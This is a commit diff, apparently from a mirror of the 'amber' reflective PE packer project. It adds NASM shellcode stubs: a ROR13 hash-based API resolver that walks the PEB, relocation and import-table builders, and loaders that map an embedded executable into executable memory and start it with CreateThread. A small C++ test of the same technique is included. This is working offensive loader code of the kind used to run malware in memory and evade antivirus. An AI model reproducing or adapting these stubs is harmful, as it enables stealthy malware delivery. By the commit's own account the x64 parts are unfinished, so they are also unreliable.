mirror of
https://github.com/thomasxm/amber
synced 2026-06-08 17:46:04 +00:00
Writing x64 code assembly headers (Total mess) :(
This commit is contained in:
@@ -0,0 +1,113 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2003
|
||||
; Architecture: x64
|
||||
; Size: 200 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 64]
|
||||
|
||||
; Windows x64 calling convention:
|
||||
; http://msdn.microsoft.com/en-us/library/9b372w95.aspx
|
||||
|
||||
; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
|
||||
; Output: The return value from the API call will be in RAX.
|
||||
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
|
||||
; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
|
||||
; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
|
||||
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
||||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
api_call:
|
||||
push r9 ; Save the 4th parameter
|
||||
push r8 ; Save the 3rd parameter
|
||||
push rdx ; Save the 2nd parameter
|
||||
push rcx ; Save the 1st parameter
|
||||
push rsi ; Save RSI
|
||||
xor rdx, rdx ; Zero rdx
|
||||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push rdx ; Save the current position in the module list for later
|
||||
push r9 ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov rdx, [rdx+32] ; Get this modules base address
|
||||
mov eax, dword [rdx+60] ; Get PE header
|
||||
add rax, rdx ; Add the modules base address
|
||||
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
|
||||
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
||||
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
||||
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
||||
jne get_next_mod1 ; if not, proceed to the next module
|
||||
mov eax, dword [rax+136] ; Get export tables RVA
|
||||
test rax, rax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add rax, rdx ; Add the modules base address
|
||||
push rax ; Save the current modules EAT
|
||||
mov ecx, dword [rax+24] ; Get the number of function names
|
||||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||
add r8, rdx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop rax ; Restore the current modules EAT
|
||||
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the drsired function...
|
||||
finish:
|
||||
pop r8 ; Clear off the current modules hash
|
||||
pop r8 ; Clear off the current position in the module list
|
||||
pop rsi ; Restore RSI
|
||||
pop rcx ; Restore the 1st parameter
|
||||
pop rdx ; Restore the 2nd parameter
|
||||
pop r8 ; Restore the 3rd parameter
|
||||
pop r9 ; Restore the 4th parameter
|
||||
pop r10 ; pop off the return address
|
||||
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||
push r10 ; push back the return address
|
||||
jmp rax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop rax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop r9 ; Pop off the current (now the previous) modules hash
|
||||
pop rdx ; Restore our position in the module list
|
||||
mov rdx, [rdx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
@@ -0,0 +1,80 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@protonmail.com>
|
||||
; Version: 1.0
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
cld
|
||||
call Stub ; ...
|
||||
PE:
|
||||
incbin "Mem.map" ; PE file image
|
||||
ImageSize: equ $-PE ; Size of the PE image
|
||||
Stub:
|
||||
pop esi ; Get the address of image to esi
|
||||
call IAT_API ;
|
||||
%include "iat_api.asm" ;
|
||||
IAT_API: ;
|
||||
pop ebp ; Get the address of hook_api to ebp
|
||||
push dword 0x40 ; PAGE_EXECUTE_READ_WRITE
|
||||
push dword 0x103000 ; MEM_COMMI | MEM_TOP_DOWN | MEM_RESERVE
|
||||
push dword ImageSize ; dwSize
|
||||
push dword 0x00 ; lpAddress
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
|
||||
test eax,eax ; Check success
|
||||
jz OpEnd ; If VirtualAlloc fails don't bother :/
|
||||
push eax ; Save the new base address to stack
|
||||
call GetAOE ; Get the AOE and image base
|
||||
%include "relocate.asm" ; Make image base relocation
|
||||
%include "resolve.asm" ; Call the module responsible for building the import address table
|
||||
push 0x00000000 ; Push NULL byte string terminator
|
||||
push 0x6c6c642e ; "lld."
|
||||
push 0x32336c65 ; "23le"
|
||||
push 0x6e72656b ; "nrek"
|
||||
push esp ; Push the address of "kernel32.dll" string
|
||||
push 0x0726774C ; hash( "kernel32.dll","LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA("kernel32.dll")
|
||||
push 0x00000000 ; Push NULL byte string terminator
|
||||
push 0x64616572 ; "daer"
|
||||
push 0x68546574 ; "hTet"
|
||||
push 0x61657243 ; "aerC"
|
||||
push esp ; Push the address of "CreateThread" string
|
||||
push eax ; Push the kernel32.dll handle
|
||||
push 0x7802F749 ; hash( "kernel32.dll","GetProcAddress" )
|
||||
call ebp ; GetProcAddress(HANDLE,"CreateThread")
|
||||
add esp,0x20 ; Clean the stack
|
||||
mov [esp+4],eax ; Save the address of CreateThread API to stack
|
||||
xor ecx,ecx ; Zero out the ECX
|
||||
call GetAOE ; Get image base and AOE
|
||||
mov ebx,[esp] ; Copy the address of new base to ebx
|
||||
add [esp],eax ; Add the AOE value to new base
|
||||
Memcpy:
|
||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||
mov [ebx],al ; Move 1 byte of PE image to image base
|
||||
inc esi ; Increase PE image index
|
||||
inc ebx ; Increase image base index
|
||||
inc ecx ; Decrease loop counter
|
||||
cmp ecx,ImageSize ; Check if ECX is 0
|
||||
jnz Memcpy ; If not loop
|
||||
mov dword eax,[esp] ; Copy the AOEP to eax
|
||||
CreateThread:
|
||||
pop ebx ; Pop back the AOE to ebx
|
||||
pop ebp ; Pop the address of CreateThread API to EBP
|
||||
xor eax,eax ; Zero out the eax
|
||||
push eax ; lpThreadId
|
||||
push eax ; dwCreationFlags
|
||||
push eax ; lpParameter
|
||||
push ebx ; lpStartAddress
|
||||
push eax ; dwStackSize
|
||||
push eax ; lpThreadAttributes
|
||||
call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );
|
||||
jmp OpEnd ; <-
|
||||
GetAOE:
|
||||
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
||||
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
||||
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
||||
ret ; <-
|
||||
OpEnd:
|
||||
nop ; Chill ;)
|
||||
jmp OpEnd ; To infinity and beyond !
|
||||
@@ -0,0 +1,63 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@protonmail.com>
|
||||
; Version: 1.0
|
||||
;
|
||||
;#- stub.asm ------------------------------------
|
||||
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
|
||||
; R10D = hash("lib.dll", "function")
|
||||
; RSI = &PE
|
||||
; RBP = &block_api.asm
|
||||
; RBX = pe_image_base
|
||||
; RDI = new_image_base
|
||||
; R12 = pe_address_of_entry
|
||||
;
|
||||
;#- relocate.asm -------------------------------
|
||||
; RCX = &end_of_base_realocation_table
|
||||
; RDX = base_relocation_delta
|
||||
; R8 =
|
||||
;
|
||||
;
|
||||
|
||||
[BITS 64]
|
||||
[ORG 0]
|
||||
|
||||
xor r8,r8 ; Zero out the r8
|
||||
mov rax,[rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov rcx,[rax+rsi+0xB4] ; Base relocation table size
|
||||
mov rax,[rax+rsi+0xB0] ; Base relocation table RVA
|
||||
add rax,rsi ; Base relocation table memory address
|
||||
add rcx,rax ; End of base relocation table
|
||||
CalcDelta:
|
||||
mov rdx,rdi ; Move the new base address to edi
|
||||
sub rdx,rbx ; Delta value
|
||||
push dword [rax] ; Reloc RVA
|
||||
push dword [rax+4] ; Reloc table size
|
||||
add rax,0x08 ; Move to the reloc descriptor
|
||||
jmp Fix ; Start fixing
|
||||
GetRVA:
|
||||
cmp rcx,rax ; Check if the end of the reloc section ?
|
||||
jle RelocFin ; If yes goto fin
|
||||
add rsp,0x08 ; Deallocate old reloc RVA and reloc table size variables
|
||||
push dword [rax] ; Push new reloc RVA
|
||||
push dword [rax+4] ; Push new reloc table size
|
||||
add rax,0x08 ; Move 8 bytes
|
||||
Fix:
|
||||
cmp word [rsp],0x08 ; Check if the end of the reloc block
|
||||
jz GetRVA ; If yes set the next block RVA
|
||||
mov r8w,word [rax] ; Move the reloc desc to dx
|
||||
cmp r8w,word 0x00 ; Check if it is a padding word
|
||||
je Pass
|
||||
and r8w,0x0FFF ; Get the last 12 bits
|
||||
add r8,[rsp+4] ; Add block RVA to desc value
|
||||
add r8,rsi ; Add the start address of the image
|
||||
add dword [r8],rdi ; Add the delta value to calculated absolute address
|
||||
Pass:
|
||||
sub dword [rsp],0x02 ; Decrease the index
|
||||
add rax,0x02 ; Move to the next reloc desc.
|
||||
xor r8,r8 ; Zero out edx
|
||||
jmp Fix ; Loop
|
||||
RelocFin:
|
||||
add rsp,0x08 ; Deallocate all vars
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@protonmail.com>
|
||||
; Version: 1.0
|
||||
;
|
||||
;#- stub.asm ------------------------------------
|
||||
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
|
||||
; R10D = hash("lib.dll", "function")
|
||||
; RSI = &PE
|
||||
; RBP = &block_api.asm
|
||||
; RBX = pe_image_base
|
||||
; RDI = new_image_base
|
||||
; R12 = pe_address_of_entry
|
||||
;
|
||||
;#- relocate.asm -------------------------------
|
||||
; RCX = &end_of_base_realocation_table
|
||||
; RDX = base_relocation_delta
|
||||
; R8 =
|
||||
;
|
||||
;#- resolve.asm --------------------------------
|
||||
; STACK[0] = &_IMPORT_DESCRIPTOR
|
||||
; R13 = Module HANDLE
|
||||
; R14 = &IAT
|
||||
; R15 = &INT
|
||||
;
|
||||
;
|
||||
|
||||
[BITS 64]
|
||||
[ORG 0]
|
||||
|
||||
mov rax,[rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov rax,[rax+rsi+0x90] ; Import table RVA
|
||||
add rax,rsi ; Import table memory address (first image import descriptor)
|
||||
push rax ; Save import descriptor to stack
|
||||
GetDLLs:
|
||||
cmp dword [rax],0x00 ; Check if the import names table RVA is NULL
|
||||
jz Complete ; If yes building process is done
|
||||
mov rax,[rax+0x0C] ; Get RVA of dll name to eax
|
||||
add rax,rsi ; Get the dll name address
|
||||
call LoadLibraryA ; Load the library
|
||||
mov r13,rax ; Move the dll handle to R13
|
||||
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||
call GetProcs ; Resolve all windows API function addresses
|
||||
add dword [rsp],0x14 ; Move to the next import descriptor
|
||||
mov rax,[rsp] ; Set the new import descriptor address to eax
|
||||
jmp GetDLLs
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcs:
|
||||
mov r14,dword [rax+0x10] ; Save the current import descriptor IAT RVA
|
||||
add r14,rsi ; Get the IAT memory address
|
||||
mov rax,[rax] ; Set the import names table RVA to eax
|
||||
add rax,rsi ; Get the current import descriptor's import names table address
|
||||
mov r15,rax ; Save &INT to R15
|
||||
Resolve:
|
||||
cmp dword [rax],0x00 ; Check if end of the import names table
|
||||
jz AllResolved ; If yes resolving process is done
|
||||
mov rax,[rax] ; Get the RVA of function hint to eax
|
||||
cmp rax,0x8000000000000000 ; Check if the high order bit is set
|
||||
js NameResolve ; If high order bit is not set resolve with INT entry
|
||||
sub rax,0x800000000000000 ; Zero out the high bit
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp InsertIAT ; Insert the address of API tı IAT
|
||||
NameResolve:
|
||||
add rax,rsi ; Set the address of function hint
|
||||
add dword rax,0x02 ; Move to function name
|
||||
call GetProcAddress ; Get the function address to eax
|
||||
InsertIAT:
|
||||
mov rcx,r14 ; Move the IAT address to ecx
|
||||
mov [rcx],rax ; Insert the function address to IAT
|
||||
add r14,0x04 ; Increase the import names table index
|
||||
add r15,0x04 ; Increase the IAT index
|
||||
mov rax,r15 ; Set the address of import names table address to eax
|
||||
jmp Resolve ; Loop
|
||||
AllResolved:
|
||||
mov rcx,[rsp+4] ; Move the IAT address to ecx
|
||||
mov dword [rcx],0x00 ; Insert a NULL dword
|
||||
add rsp,0x08 ; Deallocate index values
|
||||
pop rcx ; Put back the ecx value
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
LoadLibraryA:
|
||||
push rcx ; Save ecx to stack
|
||||
mov rcx,rax ; Move the address of library name string to RCX
|
||||
mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA([esp+4])
|
||||
sub rsp,0x28 ; Clear the stack
|
||||
pop rcx ; Retreive ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcAddress:
|
||||
mov rcx,r13 ; Move the module handle to RCX as first parameter
|
||||
mov rdx,rax ; Save edx to stack
|
||||
mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||
call rbp ; GetProcAddress(ebx,[esp+4])
|
||||
sub rsp,0x28 ; Retrieve ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
Complete:
|
||||
pop rax ; Clean out the stack
|
||||
@@ -0,0 +1,73 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@protonmail.com>
|
||||
; Version: 1.0
|
||||
;
|
||||
;#- stub.asm -----------------------------------
|
||||
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
|
||||
; R10D = hash("lib.dll", "function")
|
||||
; RSI = &PE
|
||||
; RBP = &block_api.asm
|
||||
; RBX = pe_image_base
|
||||
; RDI = new_image_base
|
||||
; R12 = pe_address_of_entry
|
||||
;
|
||||
;#- relocate.asm -------------------------------
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
|
||||
[BITS 64]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear direction flags
|
||||
call Stub ; Call Stub
|
||||
PE:
|
||||
incbin "Mem.map" ; PE file image
|
||||
ImageSize: equ $-PE ; Size of the PE image
|
||||
Stub:
|
||||
pop rsi ; Get the address of image to rsi
|
||||
call Start ; Call Start
|
||||
%include "block_api.asm";
|
||||
Start: ;
|
||||
pop rbp ; Get the address of hook_api to rbp
|
||||
mov r9d,dword 0x40 ; PAGE_EXECUTE_READ_WRITE
|
||||
mov r8d,dword 0x103000 ; MEM_COMMI | MEM_TOP_DOWN | MEM_RESERVE
|
||||
mov edx,dword ImageSize ; dwSize
|
||||
mov ecx,dword 0x00 ; lpAddress
|
||||
mov r10d,0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
test rax,rax ; Check success
|
||||
jz OpEnd ; If VirtualAlloc fails don't bother :/
|
||||
sub rsp,0x28 ; Clear stack
|
||||
mov rdi,rax ; Save the new base address to rdi
|
||||
mov rax,[rsi+0x3C] ; Get the offset of "PE" to eax
|
||||
mov rbx,[rax+rsi+0x30] ; Get the image base address to rbx
|
||||
mov r12,[rax+rsi+0x28] ; Get the address of entry point to r12
|
||||
%include "relocate.asm" ; Make image base relocation
|
||||
%include "resolve.asm" ; Call the module responsible for building the import address table
|
||||
xor rcx,rcx ; Zero out the ECX
|
||||
mov r13,rdi ; Copy the new base value to rbx
|
||||
add r13,r12 ; Add the address of entry value to new base address
|
||||
Memcpy:
|
||||
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
||||
mov [rdi],al ; Move 1 byte of PE image to image base
|
||||
inc rsi ; Increase PE image index
|
||||
inc rdi ; Increase image base index
|
||||
inc rcx ; Decrease loop counter
|
||||
cmp rcx,ImageSize ; Check if ECX is 0
|
||||
jnz Memcpy ; If not loop
|
||||
CreateThread:
|
||||
xor rax,rax ; Zero out the eax
|
||||
push rax ; lpThreadId
|
||||
push rax ; dwCreationFlags
|
||||
mov r9,rax ; lpParameter
|
||||
mov r8,r13 ; lpStartAddress
|
||||
mov rdx,rax ; dwStackSize
|
||||
mov rcx,rax ; lpThreadAttributes
|
||||
mov r10d,0x160D6838 ; hash( "kernel32.dll","CreateThread" )
|
||||
call rbp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );
|
||||
jmp OpEnd ; <-
|
||||
OpEnd:
|
||||
nop ; Chill ;)
|
||||
jmp OpEnd ; To infinity and beyond !
|
||||
@@ -0,0 +1,34 @@
|
||||
/*
|
||||
* =====================================================================================
|
||||
*
|
||||
* Filename: test.cpp
|
||||
*
|
||||
* Description:
|
||||
*
|
||||
* Version: 1.0
|
||||
* Created: 22-06-2018 15:30:52
|
||||
* Revision: none
|
||||
* Compiler: gcc
|
||||
*
|
||||
* Author: YOUR NAME (),
|
||||
* Organization:
|
||||
*
|
||||
* =====================================================================================
|
||||
*/
|
||||
#include <windows.h>
|
||||
|
||||
unsigned char buf[] = { 0x90,0x90,0x90,0x90,0xc3 };
|
||||
|
||||
int main(){
|
||||
void * mem = (void *)VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,0x40);
|
||||
CreateThread(NULL,0,LPTHREAD_START_ROUTINE(buf),NULL,0,NULL);
|
||||
|
||||
|
||||
|
||||
HANDLE dll = LoadLibraryA("user32");
|
||||
void * proc = (void*)GetProcAddress(HMODULE(dll),"MessageBoxA");
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,83 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@protonmail.com>
|
||||
; Version: 1.0
|
||||
;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
BuildImportTable:
|
||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov eax,[eax+esi+0x80] ; Import table RVA
|
||||
add eax,esi ; Import table memory address (first image import descriptor)
|
||||
push eax ; Save import descriptor to stack
|
||||
GetDLLs:
|
||||
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
|
||||
jz Complete ; If yes building process is done
|
||||
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
||||
add eax,esi ; Get the dll name address
|
||||
call LoadLibraryA ; Load the library
|
||||
mov ebx,eax ; Move the dll handle to ebx
|
||||
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||
call GetProcs ; Resolve all windows API function addresses
|
||||
add dword [esp],0x14 ; Move to the next import descriptor
|
||||
mov eax,[esp] ; Set the new import descriptor address to eax
|
||||
jmp GetDLLs
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcs:
|
||||
push ecx ; Save ecx to stack
|
||||
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
||||
add [esp],esi ; Get the IAT memory address
|
||||
mov eax,[eax] ; Set the import names table RVA to eax
|
||||
add eax,esi ; Get the current import descriptor's import names table address
|
||||
push eax ; Save it to stack
|
||||
Resolve:
|
||||
cmp dword [eax],0x00 ; Check if end of the import names table
|
||||
jz AllResolved ; If yes resolving process is done
|
||||
mov eax,[eax] ; Get the RVA of function hint to eax
|
||||
cmp eax,0x80000000 ; Check if the high order bit is set
|
||||
js NameResolve ; If high order bit is not set resolve with INT entry
|
||||
sub eax,0x80000000 ; Zero out the high bit
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp InsertIAT ; Insert the address of API tı IAT
|
||||
NameResolve:
|
||||
add eax,esi ; Set the address of function hint
|
||||
add dword eax,0x02 ; Move to function name
|
||||
call GetProcAddress ; Get the function address to eax
|
||||
InsertIAT:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov [ecx],eax ; Insert the function address to IAT
|
||||
add dword [esp],0x04 ; Increase the import names table index
|
||||
add dword [esp+4],0x04 ; Increase the IAT index
|
||||
mov eax,[esp] ; Set the address of import names table address to eax
|
||||
jmp Resolve ; Loop
|
||||
AllResolved:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||
add esp,0x08 ; Deallocate index values
|
||||
pop ecx ; Put back the ecx value
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
LoadLibraryA:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of linrary name string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA([esp+4])
|
||||
pop edx ; Retreive edx
|
||||
pop ecx ; Retreive ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcAddress:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of proc name string
|
||||
push ebx ; Push the dll handle
|
||||
push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||
call ebp ; GetProcAddress(ebx,[esp+4])
|
||||
pop edx ; Retrieve edx
|
||||
pop ecx ; Retrieve ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
Complete:
|
||||
pop eax ; Clean out the stack
|
||||
@@ -0,0 +1,110 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Ege Balcı <ege.balci[at]invictuseurope[dot]com>
|
||||
; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4
|
||||
; Version: 1.0 (25 January 2018)
|
||||
; Size: 177 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; This block locates addresses from import address table with given ror(13) hash value.
|
||||
; Design is inpired from Stephen Fewer's hash api.
|
||||
|
||||
[BITS 32]
|
||||
|
||||
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
||||
; Output: The return value from the API call will be in EAX.
|
||||
; Clobbers: EAX, EBX, ECX and EDX (NOT !! the normal stdcall calling convention because EBX is clobbered)
|
||||
; Un-Clobbered: ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
||||
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
||||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
%define ROTATION 0x0D ; Rotation value for ROR hash
|
||||
|
||||
set_essentials:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||
mov edx,[fs:eax+0x30] ; Get a pointer to the PEB
|
||||
mov edx,[edx+0x0C] ; Get PEB->Ldr
|
||||
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
|
||||
mov edx,[edx+0x10] ; Get this modules base address
|
||||
push edx ; Save the image base to stack (will use this alot)
|
||||
add edx,[edx+0x3C] ; "PE" Header
|
||||
mov edx,[edx+0x80] ; Import table RVA
|
||||
add edx,[esp] ; Address of Import Table
|
||||
push edx ; Save the &IT to stack (will use this alot)
|
||||
mov esi,[esp+4] ; Move the image base to ESI
|
||||
sub esp,0x08 ; Allocate space for import descriptor counter & hash
|
||||
sub edx,0x14 ; Prepare the import descriptor pointer for processing
|
||||
next_desc:
|
||||
add edx,0x14 ; Get the next import descriptor
|
||||
cmp dword [edx],0x00 ; Check if import descriptor valid
|
||||
jz not_found ; If import name array RVA is zero finish parsing
|
||||
mov esi,[esp+0x08] ; Move the import table address to esi
|
||||
mov si,[edx+0x0C] ; Get pointer to module name string RVA
|
||||
xor edi,edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi,ROTATION ; Rotate right our hash value
|
||||
add edi,eax ; Add the next byte of the name
|
||||
ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte.
|
||||
test al,al ; Check if we read all
|
||||
jnz loop_modname
|
||||
; We now have the module hash computed
|
||||
mov [esp+4],edx ; Save the current position in the module list for later
|
||||
mov [esp],edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov ecx,[edx] ; Get the RVA of import names table
|
||||
add ecx,[esp+0x0C] ; Add image base and get address of import names table
|
||||
sub ecx,0x04 ; Go 4 byte back
|
||||
get_next_func:
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
add ecx,0x04 ; 4 byte forward
|
||||
cmp dword [ecx],0x00 ; Check if end of INT
|
||||
jz next_desc ; If no INT present, process the next import descriptor
|
||||
mov esi,[ecx] ; Get the RVA of func name hint
|
||||
cmp esi,0x80000000 ; Check if the high order bit is set
|
||||
jns get_next_func ; If not there is no function name string :(
|
||||
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
|
||||
add dword esi,0x02 ; Move 2 bytes forward to asci function name
|
||||
; now ecx returns to its regularly scheduled counter duties
|
||||
; Computing the module hash + function hash
|
||||
xor edi,edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi,ROTATION ; Rotate right our hash value
|
||||
add edi,eax ; Add the next byte of the name
|
||||
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi,[esp] ; Add the current module hash to the function hash
|
||||
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
|
||||
mov edx,[edx] ; Get the import names table RVA of current import descriptor
|
||||
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
|
||||
sub ecx,edx ; Find the function array index ?
|
||||
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
|
||||
add eax,ecx ; Add the function index
|
||||
; Now we clean the stack
|
||||
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ebx ; Pop off the origional return address our caller will have pushed
|
||||
